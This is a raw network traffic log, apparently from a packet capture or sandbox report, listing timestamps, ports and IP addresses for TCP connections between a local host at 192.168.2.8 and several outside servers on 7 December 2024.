Dec 7, 2024 15:06:17.887393951 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.887404919 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.887418985 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.887430906 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.887443066 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.887443066 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.887474060 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.887475967 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.887504101 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.887517929 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.887531042 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.887543917 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.887554884 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.887567997 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.887581110 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.887578964 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.887602091 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.887620926 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.887690067 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:17.888021946 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:17.888354063 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:17.888442993 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.888454914 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.888465881 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.888494015 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.888520956 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.888619900 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:17.888629913 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:17.892890930 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:18.007031918 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:18.007586002 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:18.007736921 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:18.012609959 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:18.104055882 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:18.106729984 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:18.204813957 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:18.204982042 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:18.206515074 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:18.206526995 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:18.206587076 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:18.207504034 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:18.209260941 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:18.209779024 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:18.226373911 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:18.296116114 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:18.299412012 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:18.327243090 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:18.328912020 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:18.329441071 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:18.419487000 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:18.522624969 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:18.536596060 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:18.536650896 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:18.536694050 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:18.560691118 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:18.568759918 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:18.583431005 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:18.611589909 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:18.611649990 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:18.680439949 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:18.688473940 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:18.703356028 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:18.706401110 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:18.727260113 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:18.780649900 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:18.871697903 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:18.880637884 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:18.895607948 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:18.895653963 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:18.896687031 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:18.898725033 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:18.898737907 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:18.898767948 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:18.898782015 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:19.018227100 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:19.024784088 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:19.024877071 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:19.024950027 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:19.028671026 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:19.078883886 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:19.216712952 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:19.265845060 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:19.394164085 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:19.394182920 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:19.394368887 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:19.397341013 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:19.450102091 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:19.720196962 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:19.783041000 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:19.883769035 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:19.902956963 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:19.923660040 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:20.035501003 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:20.035530090 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:20.035605907 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:20.045012951 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:20.059883118 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:20.060559988 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:20.105942965 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:20.105977058 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:20.106132984 CET	49711	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:20.106153011 CET	443	49711	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:20.106195927 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:20.106229067 CET	49711	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:20.106273890 CET	49712	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:20.106303930 CET	443	49712	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:20.106367111 CET	49712	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:20.106389999 CET	49713	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:20.106399059 CET	443	49713	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:20.106517076 CET	49713	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:20.106631041 CET	49711	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:20.106642962 CET	443	49711	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:20.106730938 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:20.106744051 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:20.106858969 CET	49713	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:20.106868982 CET	443	49713	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:20.107042074 CET	49712	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:20.107055902 CET	443	49712	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:20.108140945 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:20.179590940 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:20.180253983 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:20.227155924 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:20.228614092 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:20.230928898 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:20.350663900 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:20.371691942 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:20.374286890 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:20.376524925 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:20.376581907 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:20.376586914 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:20.376625061 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:20.378648996 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:20.379204988 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:20.498372078 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:20.542706013 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:20.544617891 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:20.569377899 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:20.615803957 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:20.690493107 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:20.696202040 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:20.696928978 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:20.696989059 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:20.887953043 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:20.929140091 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:21.334100962 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:21.334166050 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:21.805025101 CET	443	49712	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:21.805054903 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:21.805362940 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:21.805392981 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:21.805463076 CET	49712	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:21.805474043 CET	443	49712	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:21.806317091 CET	443	49711	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:21.806473970 CET	49711	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:21.806503057 CET	443	49711	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:21.806785107 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:21.806786060 CET	443	49712	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:21.806859016 CET	49712	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:21.806859970 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:21.806880951 CET	443	49713	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:21.807580948 CET	443	49711	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:21.807631969 CET	49711	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:21.807766914 CET	49713	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:21.807775974 CET	443	49713	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:21.808795929 CET	443	49713	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:21.808866978 CET	49713	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:21.809767962 CET	49712	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:21.809835911 CET	443	49712	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:21.810682058 CET	49712	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:21.810688972 CET	443	49712	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:21.810807943 CET	49711	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:21.810884953 CET	443	49711	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:21.810894012 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:21.810964108 CET	49713	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:21.811033010 CET	443	49713	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:21.811033964 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:21.811407089 CET	49711	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:21.811415911 CET	443	49711	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:21.811489105 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:21.811497927 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:21.811573982 CET	49713	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:21.811582088 CET	443	49713	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:21.850919962 CET	49712	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:21.850946903 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:21.850948095 CET	49711	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:21.852891922 CET	49713	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:22.258358002 CET	49711	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:22.258472919 CET	443	49711	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.258541107 CET	49711	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:22.644898891 CET	443	49712	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.644968033 CET	443	49712	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.644995928 CET	443	49712	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.645025015 CET	49712	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:22.645041943 CET	443	49712	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.645083904 CET	49712	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:22.645093918 CET	443	49712	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.650625944 CET	443	49713	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.651900053 CET	443	49713	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.651979923 CET	49713	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:22.654087067 CET	443	49712	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.654138088 CET	49712	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:22.654149055 CET	443	49712	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.659385920 CET	443	49712	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.659440994 CET	49712	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:22.659450054 CET	443	49712	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.664478064 CET	443	49712	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.664536953 CET	49712	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:22.669222116 CET	49713	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:22.669239998 CET	443	49713	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.671559095 CET	49712	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:22.671575069 CET	443	49712	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.687747002 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.687807083 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.687841892 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.687855959 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:22.687880993 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.687899113 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.687922001 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:22.700978994 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.701009989 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.701025009 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:22.701040030 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.701083899 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:22.741945982 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.752655029 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.752707958 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:22.752731085 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.803551912 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:22.807544947 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.850419044 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:22.850431919 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.879431009 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.879481077 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:22.879492998 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.890100002 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.890141964 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:22.890149117 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.899806023 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.899842978 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:22.899851084 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.912126064 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.912172079 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:22.912179947 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.926359892 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.926409006 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:22.926424026 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.938760042 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.938832998 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:22.938843966 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.952469110 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.952507973 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:22.952517033 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.966221094 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.966265917 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:22.966285944 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.979968071 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.980012894 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:22.980021000 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.993329048 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:22.993377924 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:22.993386984 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.003932953 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.003978014 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.003988028 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.054181099 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.060007095 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.067734957 CET	49718	443	192.168.2.8	172.202.163.200
Dec 7, 2024 15:06:23.067790985 CET	443	49718	172.202.163.200	192.168.2.8
Dec 7, 2024 15:06:23.067862034 CET	49718	443	192.168.2.8	172.202.163.200
Dec 7, 2024 15:06:23.069456100 CET	49718	443	192.168.2.8	172.202.163.200
Dec 7, 2024 15:06:23.069464922 CET	443	49718	172.202.163.200	192.168.2.8
Dec 7, 2024 15:06:23.071342945 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.071389914 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.071404934 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.080368042 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.080413103 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.080421925 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.094239950 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.094293118 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.094304085 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.106616020 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.106662989 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.106673002 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.106684923 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.106723070 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.119453907 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.130877972 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.130943060 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.130956888 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.142122984 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.142174006 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.142183065 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.152873039 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.152930021 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.152942896 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.163132906 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.163176060 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.163181067 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.163194895 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.163239956 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.172344923 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.181226969 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.181291103 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.181298018 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.189352036 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.189415932 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.189425945 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.189433098 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.189466953 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.197679996 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.206233025 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.206273079 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.206296921 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.206306934 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.206356049 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.214611053 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.223095894 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.223148108 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.223150969 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.223160028 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.223197937 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.231286049 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.239583015 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.239640951 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.239649057 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.257797956 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.257837057 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.257857084 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.257867098 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.257906914 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.258936882 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.262144089 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.262202978 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.262212992 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.265378952 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.265428066 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.265435934 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.270001888 CET	443	49710	216.58.208.228	192.168.2.8
Dec 7, 2024 15:06:23.270056963 CET	49710	443	192.168.2.8	216.58.208.228
Dec 7, 2024 15:06:23.270062923 CET	443	49710	216.58.208.228	192.168.2.8
